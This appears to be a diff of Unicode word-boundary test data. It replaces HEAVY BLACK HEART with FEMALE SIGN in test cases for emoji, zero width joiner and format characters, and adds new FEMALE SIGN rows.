+÷ 2640 ÷ 000D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 2640 × 0308 ÷ 000D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 2640 ÷ 000A ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 2640 × 0308 ÷ 000A ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 2640 ÷ 000B ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 2640 × 0308 ÷ 000B ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
+÷ 2640 ÷ 3031 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 2640 × 0308 ÷ 3031 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
+÷ 2640 ÷ 0041 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0041 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
+÷ 2640 ÷ 003A ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 × 0308 ÷ 003A ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 ÷ 002C ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 × 0308 ÷ 002C ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 ÷ 002E ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 2640 × 0308 ÷ 002E ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
+÷ 2640 ÷ 0030 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0030 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 2640 ÷ 005F ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 2640 × 0308 ÷ 005F ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
+÷ 2640 ÷ 1F1E6 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 2640 × 0308 ÷ 1F1E6 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 2640 ÷ 05D0 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 2640 × 0308 ÷ 05D0 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
+÷ 2640 ÷ 0022 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0022 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
+÷ 2640 ÷ 0027 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0027 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 ÷ 261D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 2640 × 0308 ÷ 261D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 2640 ÷ 1F3FB ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 2640 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 2640 ÷ 2640 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 2640 × 0308 ÷ 2640 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 2640 ÷ 1F466 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 2640 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 2640 × 00AD ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 2640 × 0308 × 00AD ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
+÷ 2640 × 0300 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 2640 × 0308 × 0300 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 2640 × 200D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 2640 × 0308 × 200D ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 2640 ÷ 0061 × 2060 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0061 × 2060 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 ÷ 0061 ÷ 003A ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0061 ÷ 003A ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 ÷ 0061 ÷ 0027 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0061 ÷ 0027 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 ÷ 0061 ÷ 0027 × 2060 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0061 ÷ 0027 × 2060 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 ÷ 0061 ÷ 002C ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0061 ÷ 002C ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 ÷ 0031 ÷ 003A ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0031 ÷ 003A ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
+÷ 2640 ÷ 0031 ÷ 0027 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0031 ÷ 0027 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 2640 ÷ 0031 ÷ 002C ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0031 ÷ 002C ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
+÷ 2640 ÷ 0031 ÷ 002E × 2060 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2640 × 0308 ÷ 0031 ÷ 002E × 2060 ÷	#  ÷ [0.2] FEMALE SIGN (Glue_After_Zwj) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
 ÷ 1F466 ÷ 0001 ÷	#  ÷ [0.2] BOY (EBG) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
 ÷ 1F466 × 0308 ÷ 0001 ÷	#  ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
 ÷ 1F466 ÷ 000D ÷	#  ÷ [0.2] BOY (EBG) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
@@ -1171,8 +1172,8 @@
 ÷ 1F466 × 0308 ÷ 261D ÷	#  ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 1F466 × 1F3FB ÷	#  ÷ [0.2] BOY (EBG) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 1F466 × 0308 × 1F3FB ÷	#  ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 1F466 ÷ 2764 ÷	#  ÷ [0.2] BOY (EBG) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 1F466 × 0308 ÷ 2764 ÷	#  ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 1F466 ÷ 2640 ÷	#  ÷ [0.2] BOY (EBG) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 1F466 × 0308 ÷ 2640 ÷	#  ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 1F466 ÷ 1F466 ÷	#  ÷ [0.2] BOY (EBG) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F466 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] BOY (EBG) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 1F466 × 00AD ÷	#  ÷ [0.2] BOY (EBG) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1233,8 +1234,8 @@
 ÷ 00AD × 0308 ÷ 261D ÷	#  ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 00AD ÷ 1F3FB ÷	#  ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 00AD × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 00AD ÷ 2764 ÷	#  ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 00AD × 0308 ÷ 2764 ÷	#  ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 00AD ÷ 2640 ÷	#  ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 00AD × 0308 ÷ 2640 ÷	#  ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 00AD ÷ 1F466 ÷	#  ÷ [0.2] SOFT HYPHEN (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 00AD × 0308 ÷ 1F466 ÷	#  ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 00AD × 00AD ÷	#  ÷ [0.2] SOFT HYPHEN (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1295,8 +1296,8 @@
 ÷ 0300 × 0308 ÷ 261D ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0300 ÷ 1F3FB ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0300 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0300 ÷ 2764 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0300 × 0308 ÷ 2764 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0300 ÷ 2640 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0300 × 0308 ÷ 2640 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0300 ÷ 1F466 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0300 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0300 × 00AD ÷	#  ÷ [0.2] COMBINING GRAVE ACCENT (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1357,8 +1358,8 @@
 ÷ 200D × 0308 ÷ 261D ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 200D ÷ 1F3FB ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 200D × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 200D × 2764 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 200D × 0308 ÷ 2764 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 200D × 2640 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 200D × 0308 ÷ 2640 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 200D × 1F466 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] BOY (EBG) ÷ [0.3]
 ÷ 200D × 0308 ÷ 1F466 ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 200D × 00AD ÷	#  ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1419,8 +1420,8 @@
 ÷ 0061 × 2060 × 0308 ÷ 261D ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0061 × 2060 ÷ 1F3FB ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0061 × 2060 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0061 × 2060 ÷ 2764 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0061 × 2060 × 0308 ÷ 2764 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 × 2060 ÷ 2640 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 × 2060 × 0308 ÷ 2640 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0061 × 2060 ÷ 1F466 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0061 × 2060 × 0308 ÷ 1F466 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0061 × 2060 × 00AD ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1481,8 +1482,8 @@
 ÷ 0061 ÷ 003A × 0308 ÷ 261D ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0061 ÷ 003A ÷ 1F3FB ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0061 ÷ 003A × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0061 ÷ 003A ÷ 2764 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0061 ÷ 003A × 0308 ÷ 2764 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 003A ÷ 2640 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 003A × 0308 ÷ 2640 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
 ÷ 0061 ÷ 003A ÷ 1F466 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0061 ÷ 003A × 0308 ÷ 1F466 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
 ÷ 0061 ÷ 003A × 00AD ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
@@ -1543,8 +1544,8 @@
 ÷ 0061 ÷ 0027 × 0308 ÷ 261D ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
 ÷ 0061 ÷ 0027 ÷ 1F3FB ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
 ÷ 0061 ÷ 0027 × 0308 ÷ 1F3FB ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
-÷ 0061 ÷ 0027 ÷ 2764 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
-÷ 0061 ÷ 0027 × 0308 ÷ 2764 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3]
+÷ 0061 ÷ 0027 ÷ 2640 ÷	#  ÷ [0.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
